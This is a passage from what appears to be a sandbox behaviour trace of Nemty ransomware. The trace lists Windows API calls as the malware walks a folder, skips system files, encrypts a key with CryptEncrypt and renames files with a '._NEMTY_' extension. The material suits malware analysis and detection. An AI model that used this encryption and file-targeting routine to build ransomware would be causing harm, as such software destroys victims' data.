hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0117.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0117.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0117.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0117.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0117.402] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a51afa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a51afa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288337a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x51d1, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="modern_settings.png", cAlternateFileName="")) returned 1 [0117.402] lstrcmpiW (lpString1="modern_settings.png", lpString2=".") returned 1 [0117.402] lstrcmpiW (lpString1="modern_settings.png", lpString2="..") returned 1 [0117.402] lstrcmpiW (lpString1="modern_settings.png", lpString2="...") returned 1 [0117.402] lstrcmpiW (lpString1="modern_settings.png", lpString2="windows") returned -1 [0117.402] lstrcmpiW (lpString1="modern_settings.png", lpString2="$RECYCLE.BIN") returned 1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="rsa") returned -1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="NTDETECT.COM") returned -1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="ntldr") returned -1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="MSDOS.SYS") returned -1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="IO.SYS") returned 1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="boot.ini") returned 1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="boot.ini") returned 1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="AUTOEXEC.BAT") returned 1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="ntuser.dat") returned -1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="desktop.ini") returned 1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="CONFIG.SYS") returned 1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="RECYCLER") returned -1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="BOOTSECT.BAK") returned 1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="bootmgr") returned 1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="programdata") returned -1 [0117.403] lstrcmpiW (lpString1="modern_settings.png", lpString2="appdata") returned 1 [0117.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0117.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0117.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_settings.png", lpUsedDefaultChar=0x0) returned 19 [0117.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0117.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0117.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_settings.png", lpUsedDefaultChar=0x0) returned 19 [0117.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0117.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0117.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0117.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0117.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_settings.png", lpUsedDefaultChar=0x0) returned 19 [0117.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0117.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0117.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_settings.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0117.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="modern_settings.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modern_settings.png", lpUsedDefaultChar=0x0) returned 19 [0117.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0117.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340330 [0117.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0117.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0117.404] Sleep (dwMilliseconds=0x5) [0117.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9a25250, dwHighDateTime=0x1d561e7)) [0117.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9a25250, dwHighDateTime=0x1d561e7)) [0117.419] GetLastError () returned 0x5 [0117.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0117.419] GetLastError () returned 0x5 [0117.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0117.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0117.419] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0117.419] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0117.419] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0117.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403e8 [0117.419] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63403e8, pcchString=0x653e91c | out: pszString="cwd6m8wcnVAEsyJmE1btufV7HFFJY5zpoAe5oFye0xz2sT5ptWtWhEQs052wRN+7\r\nZ2J2eST+P6F3tdpvwk8keqDt6yZ9h4WylHjlEClGihEHV6cXaHDkcM6/nlod1OWL\r\nfd5PcnUye3ZBwZCKn0kWoSrcc6TY/dVTQE/bAwn2dy3lKg0s+ODskPBc7TbElidz\r\ns/9+qTxvXmcVGZ0PIY7LqWSk5XvKv3SnsEfpebS6IF/k13uMqQEcT1PPzruTYHnV\r\nOQm103nXUf4kDDP1buuYH/Aff8g72dlw9+Mghb4dwal/MZ8wwasyzNwvFpU068Vp\r\nMo2lpFmYj81CbvwHqB9VJA==\r\n", pcchString=0x653e91c) returned 1 [0117.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0117.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0117.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0117.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0117.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403e8 [0117.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0117.420] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.420] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0117.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0117.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.420] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.429] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.439] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.457] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.457] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0117.543] CloseHandle (hObject=0xffffffff) returned 0 [0117.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0117.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0117.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0117.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0117.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0117.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0117.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0117.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0117.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0117.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0117.543] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_settings.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_settings.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_settings.png._nemty_kgobjgd_")) returned 0 [0117.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0117.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0117.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0117.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0117.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0117.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0117.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0117.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.544] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a77c57, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a77c57, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288337a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6408, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="novelty.png", cAlternateFileName="")) returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2=".") returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="..") returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="...") returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="windows") returned -1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="$RECYCLE.BIN") returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="rsa") returned -1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="NTDETECT.COM") returned -1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="ntldr") returned -1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="MSDOS.SYS") returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="IO.SYS") returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="boot.ini") returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="boot.ini") returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="AUTOEXEC.BAT") returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="ntuser.dat") returned -1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="desktop.ini") returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="CONFIG.SYS") returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="RECYCLER") returned -1 [0117.544] lstrcmpiW (lpString1="novelty.png", 